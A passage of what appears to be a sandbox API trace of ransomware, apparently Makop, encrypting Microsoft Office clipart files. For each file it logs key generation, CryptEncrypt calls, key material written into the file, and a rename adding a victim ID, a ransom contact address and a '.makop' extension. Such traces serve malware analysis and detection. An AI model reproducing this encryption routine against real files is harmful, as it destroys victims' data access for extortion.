office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.824] GetProcessHeap () returned 0x48a0000 [0151.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.824] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.825] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0151.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.829] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.829] GetProcessHeap () returned 0x48a0000 [0151.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.830] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.830] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d14, lpOverlapped=0x0) returned 1 [0151.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d20) returned 1 [0151.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d20, lpOverlapped=0x0) returned 1 [0151.832] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.832] SetEndOfFile (hFile=0xf0) returned 1 [0151.838] GetProcessHeap () returned 0x48a0000 [0151.838] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.838] GetProcessHeap () returned 0x48a0000 [0151.838] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.838] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.840] CloseHandle (hObject=0xf0) returned 1 [0151.840] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0151.840] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF") returned 63 [0151.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.841] GetProcessHeap () returned 0x48a0000 [0151.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.841] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.846] GetProcessHeap () returned 0x48a0000 [0151.846] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.846] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.846] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.847] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.848] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d68, lpOverlapped=0x0) returned 1 [0151.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d70, dwBufLen=0x1d70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d70) returned 1 [0151.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d70, lpOverlapped=0x0) returned 1 [0151.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.850] SetEndOfFile (hFile=0xf0) returned 1 [0151.856] GetProcessHeap () returned 0x48a0000 [0151.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.857] GetProcessHeap () returned 0x48a0000 [0151.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.857] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.859] CloseHandle (hObject=0xf0) returned 1 [0151.859] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0151.859] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF") returned 63 [0151.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.861] GetProcessHeap () returned 0x48a0000 [0151.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.861] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.868] GetProcessHeap () returned 0x48a0000 [0151.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.868] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.870] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23a8, lpOverlapped=0x0) returned 1 [0151.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23b0, dwBufLen=0x23b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23b0) returned 1 [0151.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23b0, lpOverlapped=0x0) returned 1 [0151.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.873] SetEndOfFile (hFile=0xf0) returned 1 [0151.881] GetProcessHeap () returned 0x48a0000 [0151.881] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.881] GetProcessHeap () returned 0x48a0000 [0151.881] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.881] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.890] CloseHandle (hObject=0xf0) returned 1 [0151.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0151.891] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF") returned 63 [0151.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.892] GetProcessHeap () returned 0x48a0000 [0151.892] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.892] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0151.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.897] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.897] GetProcessHeap () returned 0x48a0000 [0151.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.898] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.898] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2016, lpOverlapped=0x0) returned 1 [0151.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2020, dwBufLen=0x2020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2020) returned 1 [0151.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2020, lpOverlapped=0x0) returned 1 [0151.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.901] SetEndOfFile (hFile=0xf0) returned 1 [0151.908] GetProcessHeap () returned 0x48a0000 [0151.908] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.908] GetProcessHeap () returned 0x48a0000 [0151.908] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.908] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.911] CloseHandle (hObject=0xf0) returned 1 [0151.912] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 